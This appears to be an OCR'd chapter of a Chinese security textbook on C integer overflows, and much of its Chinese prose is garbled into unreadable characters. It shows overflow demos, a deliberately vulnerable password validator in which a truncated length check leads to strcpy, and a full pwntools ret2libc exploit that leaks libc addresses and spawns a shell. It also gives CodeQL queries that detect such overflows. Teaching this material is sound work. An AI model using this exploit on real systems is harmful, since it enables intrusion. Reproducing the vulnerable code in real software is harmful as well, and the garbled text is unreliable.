i o 3

B ndiRmE B

@ 5.1 BRC IR

BPR AR BIERA, £ CIEF T, BECRUD NATT SR 5
oty HAFAE RN g PEAS A 6 N AR Y it HlHR 1 (ABD StRRGE. R5.1H
647 Linux 24t (LP64 $iti ) &, H BB IR N R T e SR e
Bl (7Nt fR FAMIS R ) .

*® 5.1 BERABKEAMEFNEECE

HEXR HEKR/B HEFEAEE
short int 2 0x8000~0xffff (1), 0~0x7Tff (IE)
unsigned short int 2 0~ 0xfTf
int 4 0x80000000~0xfFFF (§1), 0~OxTHFAf (IE)
unsigned int 4 0~ Ox AT

0x8000000000000000~Ox T (1),
0~ Ox THFFFEFES (IE)
unsigned long int 8 O~ Ox T

long int 8
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int func(char *name, long name_size) {
unsigned short size = name_size;
char *buf = (char *)malloc(size);
if (buf) {
memcpy (buf, name, name_size);
free(buf) ;
return O;
}
return 1;
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int main(int argc, char *const *argv) {

unsigned int ui;
int si;

ui = UINT_MAX;
printf("ui = %u, %x \n", ui, ui);
uit++;

printf("ui %u, %x \n", ui, ui);

si = INT_MAX;
printf("si = %d %x \n", si, si);

sit++;

printf("si = %d %x \n", si, si);
ui = 0;

printf("ui = %u %x \n", ui, ui);
ui--;

printf("ui = %u %x \n", ui, ui);

si = INT_MIN;
printf("si = %d %x \n", si, si);

si-—;

printf("si %d %x \n", si, si);

}
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sec@ubuntu:~/Desktop/sec/integer_overflow$ ./example
ui = 4294967295, I

ui =0, 0

2147483647 T

—2147483648 80000000

ui =00

ui = 4294967295 fHfF

si = —2147483648 80000000

si = 2147483647 T

5.1 EXimtRPIREITER

si
si

TR S /MEN0, K1 2S5 TR A8 R KA OxEETE.
o HRFSEHINT MIN fz/ME N 0x80000000, I8 125 FiiA8 N KAE 0x7HEEL,

5.2 OB LT

TEARBF ARASG G FE integer attack/integer.c U, i %80k iR, 7T LAGSLfE
IR, T S Bk 2 i X i eI o

1 #include <stdio.h>

2 #include <string.h>

3 #include <stdlib.h>

4 #include <unistd.h>

5 void validate(char *passwd) {

6 char buf[11];

7 unsigned char passwd_len = strlen(passwd) - 1;
8 if (passwd_len >= 4 && passwd_len <= 8) {
9 strcpy(buf, passwd);

10 puts("done.");

11 } else {

12 printf ("Invalid.\n");

13 3

14 }

15 int main() {

16 char str[0x200];

17 memset(str, 0, 0x200);

18 read (STDIN_FILENO, str, 0x200);
19 validate(str);

20 return 0;

21}
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sec@Qubuntu:~/Desktop/sec/integer_overflow$ checksec vul
[¥] '/home/sec/Desktop/sec/integer_overflow/vul'

Arch: 1386-32- little

RELRO: Partial RELRO

Stack: No canary found

NX: NX enabled

PIE:  No PIE (0x8048000)
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from pwn import *
context.log_level = "debug"

io = process('./vul')

elf = ELF('./vul')

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
main_addr = elf.symbols['main']
puts_offset = 0x06dc40
system_offset = 0x041780
bin_sh_offset = 0x18e363
exit_offset = 0x340cO
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payload = b"A" * 0x14 + b"B" * 4 + p32(puts_plt) + p32(main_addr) +
p32(puts_got) + b"A" * (256 - Ox14 - 4 * 4) + b"B" * 4

io.sendline(payload)
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io.recvuntil ("done.\n")
puts_addr = u32(io.recvline() [0:4])
libc_base = puts_addr - puts_offset

[ R
= O © o

system_addr = libc_base + system_offset

bin_sh_addr = libc_base + bin_sh_offset

exit_addr = libc_base + exit_offset

#% — B 3k Blshell

payload2 = b"A" * 0x14 + b"B" * 4 + p32(system_addr) + p32(exit_addr)
+ p32(bin_sh_addr) + b"A" * (256 - 0x14 - 4 x 4) + b"B" * 4

io.sendline(payload2)
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io.interactive()
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LA A 935,270 CRE P EAT AL Y CodeQL FEFT:

import cpp

class Integer extends Declaration {
Integer() {
exists( Initializer ass, FunctionCall func, int return_size |
ass.getDeclaration() .getDefinition() .getType() .getSize() = return_size
and
func.getLocation() .getStartLine() = ass.getDeclaration().getLocation()
.getStartLine() and
func.getType() .getSize() > return_size |
this = ass.getDeclaration()

}

from Integer integer

select integer.getName().toString() as name, "integer overflow variable" as
messages,

integer.getLocation() .getContainer() .getRelativePath() as file,
integer.getLocation() .getStartLine() .toString() as line_number

IR ARSI 25 SR an 5.5 B s, T8 SO integer.c 36 74T passwd_len A% & A7 7E B4
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| name | messages | file | line_number |
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| passwd_len | integer overflow variable | integer.c | 7 |
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1 #include <stdio.h>
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#include <limits.h>
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int main(int argc, char *const *argv) {
int si;
si = 0;
si-—; // E#HEME
si = INT_MIN;
si-—; // ®iRBEMFE
si=si-2; // #REMF
si = INT_MAX;
si++; // HIREF
return O;

}
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import cpp

import semmle.code.cpp.dataflow.new.TaintTracking
import semmle.code.cpp.rangeanalysis.RangeAnalysisUtils
import semmle.code.cpp.exprs.ArithmeticOperation

class Signed_Upper extends int {
Signed_Upper() {
exists( Variable val_signed, int maxValue |
val_signed.getUnderlyingType() . (IntType) .isSigned() and
maxValue = typeUpperBound(val_signed.getUnderlyingType()) |
this = maxValue

}
class Signed_Lower extends int {
Signed_Lower() {
exists( Variable val_signed, int lowerValue |
val_signed.getUnderlyingType() . (IntType) .isSigned() and
lowerValue = typeLowerBound(val_signed.getUnderlyingType()) |
this = lowerValue

}
class Overflow extends Location {
Overflow() {
exists( PostfixDecrExpr post, PostfixIncrExpr inc, SubExpr minus,
Signed_Lower lower, Signed_Upper upper, AssignExpr expr, DataFlow::Node
src, DataFlow: :Node sink |
(
expr.getRValue () .getValue() .toInt() = lower and
src.asExpr() = expr.getRValue() and
sink.asExpr() = post.getChild(0)



PR ETE: THEMERS

31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

and TaintTracking::localTaint(src, sink)
and sink.getLocation() = this
) or

expr.getRValue () .getValue() .toInt() = upper and
src.asExpr() = expr.getRValue() and
sink.asExpr() = inc.getChild(0)
and TaintTracking::localTaint(src, sink)
and sink.getLocation() = this

) or

(
expr.getRValue () .getValue() .toInt() = lower and
src.asExpr() = expr.getRValue() and
sink.asExpr() = minus.getChild(0)
and TaintTracking::localTaint(src, sink)
and sink.getLocation() = this

}

from Overflow flow

select flow.getContainer().getRelativePath() as file,
flow.getStartLine() .toString() as line_number

IR, Signed Upper 25 T B int 28 1) 5. Signed  Lower 25 T 3RHL int

R F It Overflow FIE L= EEART T, I B AAAEXS KN int SRR A 10
BEAT I SRR, BN RNy int 288 _E 580 BEAT INV2s S R A

EIRACHS ORI 45 R A 5.6/ 78, £E integeroperation.c SXAFHE 9. 104 1247 /A (E%E
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| file | line_number |
e e +
| integer_operation.c | 9 \
| integer_operation.c | 10 \
| integer_operation.c | 12 \
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